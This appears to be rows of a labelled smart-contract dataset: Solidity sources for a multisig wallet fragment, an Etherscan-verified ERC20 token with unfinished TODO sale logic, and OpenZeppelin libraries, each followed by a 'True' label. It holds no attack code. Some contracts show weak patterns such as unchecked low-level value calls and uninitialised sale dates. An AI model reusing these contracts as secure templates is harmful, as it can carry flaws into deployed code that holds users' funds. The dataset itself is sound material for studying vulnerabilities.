Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
// Transaction tx = transactions[transactionId];
transactions[transactionId].executed = true;
// tx.executed = true;
if (transactions[transactionId].destination.call.value(transactions[transactionId].value)(transactions[transactionId].data)) {
Execution(transactionId);
} else {
ExecutionFailure(transactionId);
transactions[transactionId].executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
}
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++) {
if (pending && !transactions[i].executed || executed && transactions[i].executed)
count += 1;
}
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) {
_confirmations[i] = confirmationsTemp[i];
}
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++) {
if (pending && !transactions[i].executed || executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++) {
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
pragma solidity ^0.5.13;
// ----------------------------------------------------------------------------
//
// Symbol : MBT
// Deployed to : Mainnet
// Name : Mbali Token
//
// Enjoy.
//
// Russel Chitambira.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
address payable public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// MYT supply
// ----------------------------------------------------------------------------
contract MbaliToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
// pre-sale bonus
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "MBT";
name = "Mbali Token";
decimals = 18;
_totalSupply = 100000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
//bonusEnds = now + 8 weeks;
endDate = now + 28 weeks;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// TODO: 1,000 MBT Tokens per 1 ETH - write what is the amount of your tokens you will be giving away for ETH.
// ------------------------------------------------------------------------
function () external payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 1000; // TODO: define how many people will get within the BONUS.
} else {
tokens = msg.value * 1000; // TODO: define how many people will get without the BONUS.
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], tokens);
_totalSupply = SafeMath.add(_totalSupply, tokens);
// sent to investor
emit Transfer(address(0), msg.sender, tokens);
// sent ETH to owner
owner.transfer(msg.value);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
